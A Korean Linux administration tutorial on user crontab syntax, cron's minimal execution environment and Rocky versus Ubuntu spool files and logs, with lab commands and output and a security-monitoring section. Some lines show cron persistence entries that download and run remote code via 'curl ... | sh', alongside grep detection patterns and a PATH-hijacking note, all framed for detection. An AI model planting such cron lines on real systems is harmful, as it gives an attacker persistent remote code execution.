
서비스 · 프로세스 관리 33 / 50 · Part 4. 로그·스케줄링·운영
실습 환경: Rocky Linux 9.8 · Ubuntu 24.04.5 (systemd로 부팅한 Docker 격리 컨테이너, 테스트 계정analyst)
백업, 로그 정리, 인증서 갱신 같은 반복 작업은 오랫동안 cron 이 맡아 왔다. 그리고 같은 이유로 cron은 공격자가 가장 즐겨 쓰는 지속성 수단이기도 하다. * * * * * curl http://x/y | sh 한 줄이면 매분 악성 코드를 다시 내려받는다.
이번 글에서는 crontab 문법을 정리하고, 실제로 매분 실행되는 작업을 등록해 실행 환경(PATH·SHELL)이 로그인 셸과 어떻게 다른지 확인한다. 그리고 Rocky와 Ubuntu에서 crontab 파일 위치와 실행 로그가 어떻게 다른지, 관제에서 무엇을 봐야 하는지 정리한다.
「리눅스 시스템 기초 38편」에서 cron 기초를 다뤘다. 이번 편(사용자 crontab)과 34편(시스템 cron·anacron), 45편(cron 지속성 탐지)으로 이어진다.
| 필드 | 범위 | 예 |
|---|---|---|
| 분 | 0–59 | */15 = 15분마다 |
| 시 | 0–23 | 2 = 새벽 2시 |
| 일 | 1–31 | 1,15 = 1일과 15일 |
| 월 | 1–12 | * = 매월 |
| 요일 | 0–7 (0·7 = 일요일) | 1-5 = 평일 |
| 명령 | 셸 명령 | /opt/backup.sh |
| 표기 | 의미 |
|---|---|
* | 모든 값 |
, | 목록 (1,15) |
- | 범위 (1-5) |
/ | 간격 (*/10) |
@reboot 등 | 특수 문자열 (그림 참고) |
| 규칙 | 설명 |
|---|---|
% 는 줄바꿈 | 명령 안의 %는 줄바꿈으로 바뀌고 이후는 표준입력 이 된다. date +%F는 date +\%F로 써야 한다 |
| 최소 환경 | cron은 로그인 셸 초기화 파일을 읽지 않는다. PATH가 /usr/bin:/bin 수준이라 명령은 절대 경로 로 쓴다 |
| 출력 | 표준 출력·에러는 메일(MAILTO)로 가거나 버려진다. 파일로 리다이렉션한다 |
| 일과 요일 | 둘 다 지정하면 OR 조건 (둘 중 하나만 맞아도 실행) |
| 항목 | Rocky Linux 9 | Ubuntu 24.04 |
|---|---|---|
| 데몬 / unit | crond / crond.service | cron / cron.service |
| 사용자 crontab | /var/spool/cron/USER | /var/spool/cron/crontabs/USER |
| 실행 로그 태그 | CROND (journal), /var/log/cron (rsyslog) | CRON (journal), /var/log/syslog |
| 사용 제한 | /etc/cron.allow, /etc/cron.deny | 동일 |
| 명령 | 동작 |
|---|---|
crontab -e | 편집기로 편집 (문법 검사 후 설치) |
crontab 파일 / crontab - | 파일·표준입력 내용으로 전체 교체 |
crontab -l | 목록 |
crontab -r | 전체 삭제 (확인 없음) |
crontab -u USER ... | root가 다른 사용자 crontab 관리 |

매분 0초 → crond 가 모든 스풀 파일 확인 (변경되면 다시 읽음)
→ 현재 시각과 맞는 줄 발견
→ fork → 해당 사용자로 setuid → 최소 환경변수 설정 (HOME, LOGNAME, SHELL=/bin/sh, PATH=/usr/bin:/bin)
→ /bin/sh -c "명령" 실행
→ 시작 기록: CROND[pid]: (analyst) CMD (명령)
→ 종료 기록: CMDEND (Rocky cronie)
crontab 명령은 SUID/SGID로 동작해, 일반 사용자가 직접 읽을 수 없는 스풀 디렉터리 에 자기 파일만 쓸 수 있게 해 준다.
# 1) (Rocky, analyst) 매분 실행 작업 등록 — % 는 \% 로
printf '# 매분 실행: 시각과 환경 기록\n* * * * * date "+\\%%F \\%%T cron-run" >> /home/analyst/cron.log; echo "PATH=$PATH SHELL=$SHELL" >> /home/analyst/cron.log\n' | crontab -
crontab -l
ls -l /var/spool/cron/ # 일반 사용자는 스풀 디렉터리를 볼 수 없다
sleep $((62 - $(date +%S))); cat ~/cron.log
# 2) (Rocky, root) 실행 흔적과 스풀 파일
journalctl -t CROND --since "-3min" --no-pager -o short-iso | tail -4
cat /var/spool/cron/analyst
ls -l /etc/cron.allow /etc/cron.deny
crontab -u analyst -r; crontab -u analyst -l
# 3) (Ubuntu, analyst) 위치와 로그 권한 차이
echo '* * * * * echo "ubuntu cron $(date +\%T)" >> /home/analyst/cron.log' | crontab -
sudo ls -l /var/spool/cron/crontabs/
sleep $((62 - $(date +%S))); cat ~/cron.log
journalctl -t CRON --since "-2min" --no-pager -o short-iso | tail -3
crontab -r; crontab -l



텍스트 원본(실제 출력):
[analyst@rocky9-lab ~]$ printf '# 매분 실행: 시각과 환경 기록\n* * * * * date "+\\%%F \\%%T cron-run" >> /home/analyst/cron.log; echo "PATH=$PATH SHELL=$SHELL" >> /home/analyst/cron.log\n' | crontab -
[analyst@rocky9-lab ~]$ crontab -l
# 매분 실행: 시각과 환경 기록
* * * * * date "+\%F \%T cron-run" >> /home/analyst/cron.log; echo "PATH=$PATH SHELL=$SHELL" >> /home/analyst/cron.log
[analyst@rocky9-lab ~]$ ls -l /var/spool/cron/
ls: cannot open directory '/var/spool/cron/': Permission denied
[analyst@rocky9-lab ~]$ sleep $((62 - $(date +%S))); cat ~/cron.log
2026-09-24 12:28:01 cron-run
PATH=/usr/bin:/bin SHELL=/bin/sh
[root@rocky9-lab ~]# journalctl -t CROND --since "-3min" --no-pager -o short-iso | tail -4
2026-09-24T12:26:01+0000 rocky9-lab CROND[4968]: (analyst) CMD (date "+%F %T cron-run" >> /home/analyst/cron.log; echo "PATH=$PATH SHELL=$SHELL" >> /home/analyst/cron.log)
2026-09-24T12:26:01+0000 rocky9-lab CROND[4943]: (analyst) CMDEND (date "+%F %T cron-run" >> /home/analyst/cron.log; echo "PATH=$PATH SHELL=$SHELL" >> /home/analyst/cron.log)
2026-09-24T12:28:01+0000 rocky9-lab CROND[5241]: (analyst) CMD (date "+%F %T cron-run" >> /home/analyst/cron.log; echo "PATH=$PATH SHELL=$SHELL" >> /home/analyst/cron.log)
2026-09-24T12:28:01+0000 rocky9-lab CROND[5239]: (analyst) CMDEND (date "+%F %T cron-run" >> /home/analyst/cron.log; echo "PATH=$PATH SHELL=$SHELL" >> /home/analyst/cron.log)
[root@rocky9-lab ~]# cat /var/spool/cron/analyst
# 매분 실행: 시각과 환경 기록
* * * * * date "+\%F \%T cron-run" >> /home/analyst/cron.log; echo "PATH=$PATH SHELL=$SHELL" >> /home/analyst/cron.log
[root@rocky9-lab ~]# ls -l /etc/cron.allow /etc/cron.deny 2>&1
ls: cannot access '/etc/cron.allow': No such file or directory
-rw-r--r-- 1 root root 0 Dec 29 2025 /etc/cron.deny
[root@rocky9-lab ~]# crontab -u analyst -r; crontab -u analyst -l
no crontab for analyst
analyst@ubuntu-lab:~$ echo '* * * * * echo "ubuntu cron $(date +\%T)" >> /home/analyst/cron.log' | crontab -
analyst@ubuntu-lab:~$ crontab -l
* * * * * echo "ubuntu cron $(date +\%T)" >> /home/analyst/cron.log
analyst@ubuntu-lab:~$ sudo ls -l /var/spool/cron/crontabs/
total 4
-rw------- 1 analyst crontab 243 Sep 24 12:28 analyst
analyst@ubuntu-lab:~$ sleep $((62 - $(date +%S))); cat ~/cron.log
ubuntu cron 12:29:01
analyst@ubuntu-lab:~$ journalctl -t CRON --since "-2min" --no-pager -o short-iso | tail -3
Hint: You are currently not seeing messages from other users and the system.
Users in groups 'adm', 'systemd-journal' can see all messages.
Pass -q to turn off this notice.
-- No entries --
analyst@ubuntu-lab:~$ crontab -r; crontab -l
no crontab for analyst
| 관찰 | 의미 |
|---|---|
crontab -l에 date "+\%F \%T cron-run" | %가 이스케이프된 형태로 저장되었다 |
ls /var/spool/cron/ → Permission denied | 일반 사용자는 다른 사람의 crontab 목록을 볼 수 없다 |
cron.log: 2026-09-24 12:28:01 cron-run | 매분 0초 직후(01초)에 실행되었다 |
PATH=/usr/bin:/bin SHELL=/bin/sh | 로그인 셸과 다른 최소 환경. /usr/sbin, /usr/local/bin이 없어 명령을 못 찾는 장애의 원인이 된다 |
journal CROND[5241]: (analyst) CMD (...) / CMDEND (...) | Rocky(cronie)는 시작과 종료를 모두 기록한다. 괄호 안이 실행 계정 |
root가 본 /var/spool/cron/analyst | 스풀 파일 = crontab 내용 그대로. 점검 시 이 디렉터리를 직접 본다 |
cron.allow 없음, cron.deny 빈 파일 | allow가 없고 deny가 비어 있으면 모든 사용자가 cron 사용 가능 |
crontab -r 후 no crontab for analyst | 확인 없이 전체 삭제된다 |
Ubuntu 스풀 -rw------- analyst crontab ... analyst | 파일은 사용자 소유, crontab 그룹. 243바이트는 Ubuntu가 자동으로 붙이는 주석 헤더 때문이다 |
Ubuntu cron.log: ubuntu cron 12:29:01 | 같은 방식으로 동작 |
Ubuntu analyst의 journalctl → -- No entries --, 권한 안내 | Ubuntu는 adm/systemd-journal 그룹이 아니면 시스템 로그를 볼 수 없다. cron 로그는 시스템 로그라 보이지 않았다 |
| 주제 | 내용 |
|---|---|
| 지속성 | 사용자 권한만으로 등록할 수 있는 가장 쉬운 지속성. 웹 서비스 계정(apache, www-data)에 crontab이 있으면 강한 침해 신호 다 (MITRE T1053.003) |
| 파일 직접 작성 | 공격자는 crontab 명령 대신 스풀 파일을 직접 쓰기도 한다. 이 경우 crond가 변경을 감지해 RELOAD 로그를 남긴다 |
| 사용 제한 | 서비스 계정·일반 계정의 cron 사용이 필요 없으면 /etc/cron.allow에 허용 계정만 적는다 |
| PATH 하이재킹 | root crontab이 상대 경로 명령을 쓰고 PATH에 쓰기 가능한 디렉터리가 있으면 권한 상승 경로가 된다 |
| 로그 가시성 | 실행 기록은 CMD 로그로 남지만 명령의 출력은 남지 않는다. 무엇을 했는지는 다른 증거(파일, 네트워크)로 확인해야 한다 |
[Detection] journal: CROND[...]: (apache) CMD (curl -fsSL http://203.0.113.9/x | sh)
↓
[확인] cat /var/spool/cron/apache (Ubuntu: /var/spool/cron/crontabs/www-data)
ls -l --time-style=full-iso /var/spool/cron/
↓
[판단] 웹 서비스 계정 crontab + 외부 다운로드·실행 → 웹 침해 후 지속성
↓
[Response] crontab -u apache -r (증거 사본 먼저) → 다운로드 URL 차단 → 웹 침투 경로 조사
→ 45편 cron 지속성 전수 점검
| 점검 명령 | 목적 |
|---|---|
ls -la /var/spool/cron/ (Ubuntu: .../crontabs/) | crontab을 가진 계정 목록 |
for u in $(cut -d: -f1 /etc/passwd); do crontab -u $u -l 2>/dev/null \| sed "s/^/$u: /"; done | 전 계정 crontab |
journalctl -t CROND --since today -o cat \| grep -v '(root)' | root 외 계정의 cron 실행 |
grep -rE 'curl\|wget\|base64\|/tmp/\|/dev/shm' /var/spool/cron/ | 위험 패턴 |
| 실수 | 결과 | 예방 |
|---|---|---|
date +%F를 그대로 사용 | 명령이 잘려 실행됨 | \% 이스케이프 |
| 상대 경로 명령 | "command not found" (PATH 차이) | 절대 경로 또는 crontab 상단에 PATH 지정 |
| 출력 리다이렉션 누락 | 오류를 알 수 없음 | >> log 2>&1 |
crontab -r과 -e 오타 | 전체 삭제 | 등록 파일을 따로 관리하고 crontab 파일로 설치 |
| 작업이 1분 넘게 걸림 | 중복 실행 누적 | flock -n /tmp/job.lock cmd |
[ ] 다섯 필드 문법과 */, -, , 표기를 설명할 수 있다
[ ] % 를 \% 로 이스케이프해 등록했다
[ ] cron 실행 환경의 PATH 가 /usr/bin:/bin 인 것을 확인했다
[ ] Rocky 의 /var/spool/cron/USER 와 CROND CMD 로그를 확인했다
[ ] Ubuntu 의 /var/spool/cron/crontabs/USER 위치를 확인했다
[ ] 일반 사용자가 시스템 로그를 볼 수 없는 권한 차이를 확인했다
분 시 일 월 요일 명령 형식이며, 명령 안의 %는 \%로 써야 한다./var/spool/cron/USER, Ubuntu /var/spool/cron/crontabs/USER.CROND/CRON 태그에 (계정) CMD (명령) 형식으로 남는다.다음 글 「34. 시스템 cron과 anacron」 에서는 사용자 crontab이 아닌 시스템 영역 — /etc/crontab, /etc/cron.d/, cron.daily 같은 주기 디렉터리, 그리고 꺼져 있던 동안 놓친 작업을 실행해 주는 anacron의 구조를 Rocky와 Ubuntu에서 비교한다.